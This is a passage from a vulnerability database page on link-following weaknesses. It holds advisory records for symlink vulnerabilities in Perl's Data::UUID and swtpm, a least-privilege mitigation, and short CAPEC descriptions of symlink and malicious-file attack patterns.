"type": "CVSS_V3"
}
],
"summary": "tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter"
}
GHSA-52MM-W3HF-39RG
Vulnerability from github – Published: 2022-05-05 00:29 – Updated: 2024-03-28 03:30
VLAI
Details
Perl module Data::UUID from CPAN version 1.219 vulnerable to symlink attacks
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2013-4184"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-12-10T15:15:00Z",
"severity": "LOW"
},
"details": "Perl module Data::UUID from CPAN version 1.219 vulnerable to symlink attacks",
"id": "GHSA-52mm-w3hf-39rg",
"modified": "2024-03-28T03:30:57Z",
"published": "2022-05-05T00:29:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-4184"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/cve-2013-4184"
},
{
"type": "WEB",
"url": "https://bugs.gentoo.org/show_bug.cgi?id=CVE-2013-4184"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2013-4184"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/86103"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3F2KOK2SM2LFI4BNFOVV2G2XVJQBIMZL"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DTKH3TWUOXBAAZST7364UVZ4UPH4CEO7"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MATNG5VP46SXJB2JHAI2LXPUXCYUOYPE"
},
{
"type": "WEB",
"url": "https://security-tracker.debian.org/tracker/CVE-2013-4184"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2013/07/31/4"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/61534"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-52X8-2F4W-Q8MM
Vulnerability from github – Published: 2023-11-03 06:36 – Updated: 2023-11-10 00:30
VLAI
Details
In swtpm before 0.4.2 and 0.5.x before 0.5.1, a local attacker may be able to overwrite arbitrary files via a symlink attack against a temporary file such as TMP2-00.permall.
Severity
7.1 (High)
{
"affected": [],
"aliases": [
"CVE-2020-28407"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-03T04:15:15Z",
"severity": "HIGH"
},
"details": "In swtpm before 0.4.2 and 0.5.x before 0.5.1, a local attacker may be able to overwrite arbitrary files via a symlink attack against a temporary file such as TMP2-00.permall.",
"id": "GHSA-52x8-2f4w-q8mm",
"modified": "2023-11-10T00:30:26Z",
"published": "2023-11-03T06:36:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28407"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1198395"
},
{
"type": "WEB",
"url": "https://github.com/stefanberger/swtpm/releases/tag/v0.4.2"
},
{
"type": "WEB",
"url": "https://github.com/stefanberger/swtpm/releases/tag/v0.5.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-48.1
Architecture and Design
Strategy: Separation of Privilege
- Follow the principle of least privilege when assigning access rights to entities in a software system.
- Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack
An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.